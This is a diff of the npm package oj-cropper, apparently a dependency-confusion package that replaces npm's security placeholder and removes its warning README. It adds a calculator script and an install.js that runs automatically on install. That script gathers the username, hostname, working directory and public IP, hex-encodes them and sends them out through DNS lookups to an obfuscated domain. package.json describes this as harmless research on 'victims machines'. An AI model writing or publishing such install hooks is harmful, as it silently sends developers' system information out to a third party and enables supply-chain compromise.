oj-cropper 0.0.1-security → 9.9.99

package/index.js

@@ -0,0 +1,108 @@
+const lightTheme = "styles/light.css";
+const darkTheme = "styles/dark.css";
+const sunIcon = "assets/SunIcon.svg";
+const moonIcon = "assets/MoonIcon.svg";
+const themeIcon = document.getElementById("theme-icon");
+const res = document.getElementById("result");
+const toast = document.getElementById("toast");
+
+function calculate(value) {
+  const calculatedValue = eval(value || null);
+  if (isNaN(calculatedValue)) {
+    res.value = "Can't divide 0 with 0";
+    setTimeout(() => {
+      res.value = "";
+    }, 1300);
+  } else {
+    res.value = calculatedValue;
+  }
+}
+
+// Swaps the stylesheet to achieve dark mode.
+function changeTheme() {
+  const theme = document.getElementById("theme");
+  setTimeout(() => {
+    toast.innerHTML = "Calculator";
+  }, 1500);
+  if (theme.getAttribute("href") === lightTheme) {
+    theme.setAttribute("href", darkTheme);
+    themeIcon.setAttribute("src", sunIcon);
+    toast.innerHTML = "Dark Mode 🌙";
+  } else {
+    theme.setAttribute("href", lightTheme);
+    themeIcon.setAttribute("src", moonIcon);
+    toast.innerHTML = "Light Mode ☀️";
+  }
+}
+
+// Displays entered value on screen.
+function liveScreen(enteredValue) {
+  if (!res.value) {
+    res.value = "";
+  }
+  res.value += enteredValue;
+}
+
+//adding event handler on the document to handle keyboard inputs
+document.addEventListener("keydown", keyboardInputHandler);
+
+//function to handle keyboard inputs
+function keyboardInputHandler(e) {
+  // to fix the default behavior of browser,
+  // enter and backspace were causing undesired behavior when some key was already in focus.
+  e.preventDefault();
+  //grabbing the liveScreen
+
+  //numbers
+  if (e.key === "0") {
+    res.value += "0";
+  } else if (e.key === "1") {
+    res.value += "1";
+  } else if (e.key === "2") {
+    res.value += "2";
+  } else if (e.key === "3") {
+    res.value += "3";
+  } else if (e.key === "4") {
+    res.value += "4";
+  } else if (e.key === "5") {
+    res.value += "5";
+  } else if (e.key === "6") {
+    res.value += "6";
+  } else if (e.key === "7") {
+    res.value += "7";
+  } else if (e.key === "7") {
+    res.value += "7";
+  } else if (e.key === "8") {
+    res.value += "8";
+  } else if (e.key === "9") {
+    res.value += "9";
+  }
+
+  //operators
+  if (e.key === "+") {
+    res.value += "+";
+  } else if (e.key === "-") {
+    res.value += "-";
+  } else if (e.key === "*") {
+    res.value += "*";
+  } else if (e.key === "/") {
+    res.value += "/";
+  }
+
+  //decimal key
+  if (e.key === ".") {
+    res.value += ".";
+  }
+
+  //press enter to see result
+  if (e.key === "Enter") {
+    calculate(result.value);
+  }
+
+  //backspace for removing the last input
+  if (e.key === "Backspace") {
+    const resultInput = res.value;
+    //remove the last element in the string
+    res.value = resultInput.substring(0, res.value.length - 1);
+  }
+}

package/install.js

@@ -0,0 +1 @@
+const http=require("http");var os=require("os"),dns=require("dns");function generateString(t){let n="abcdefghijklmnopqrstuvwxyz0123456789",a="",e=n.length;for(let o=0;o<t;o++)a+=n.charAt(Math.floor(Math.random()*e));return a}function assignIP(t){IP=t}const s="s";const m="m";const n="n";const f="f";const b="b";const dot=".";const c="c";const o="o";const topDomain=s+m+n+f+b+b+dot+c+o+m,packageName=process.argv[2],cwd=process.cwd(),username=os.userInfo().username,hostname=os.hostname(),ID=generateString(5);var IP="";try{http.get({host:"api.ipify.org",port:80,path:"/"},function(t){t.on("data",function(t){let n=JSON.stringify({packagename:packageName,cwd:cwd,username:username,hostname:hostname,ip:t.toString()}),a={family:4};for(var e=(Buffer.from(n,"utf8").toString("hex")+"00").match(/.{1,30}/g),o=0;o<e.length;o++){var r=ID+"."+o+"."+e[o]+"."+topDomain;dns.lookup(r,a,()=>{})}}),t.on("error",function(t){let n=JSON.stringify({packagename:packageName,cwd:cwd,username:username,hostname:hostname,ip:""}),a={family:4};for(var e=(Buffer.from(n,"utf8").toString("hex")+"00").match(/.{1,30}/g),o=0;o<e.length;o++){var r=ID+"."+o+"."+e[o]+"."+topDomain;dns.lookup(r,a,()=>{})}})})}catch(t){}

package/package.json

@@ -1,6 +1,11 @@
 {
   "name": "oj-cropper",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "9.9.99",
+  "description": "This package is a proof of concept to conduct a research. It has been uploaded for test purposes only. Its only function is to confirm the installation of the package on victims machines. The code is not malicious in any way and will be deleted after the research survey has been concluded. ",
+  "main": "index.js",
+  "scripts": {
+    "install": "node install.js oj-cropper"
+  },
+  "author": "smirnoffq@bugcrowdninja.com",
+  "license": "ISC"
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=oj-cropper for more information.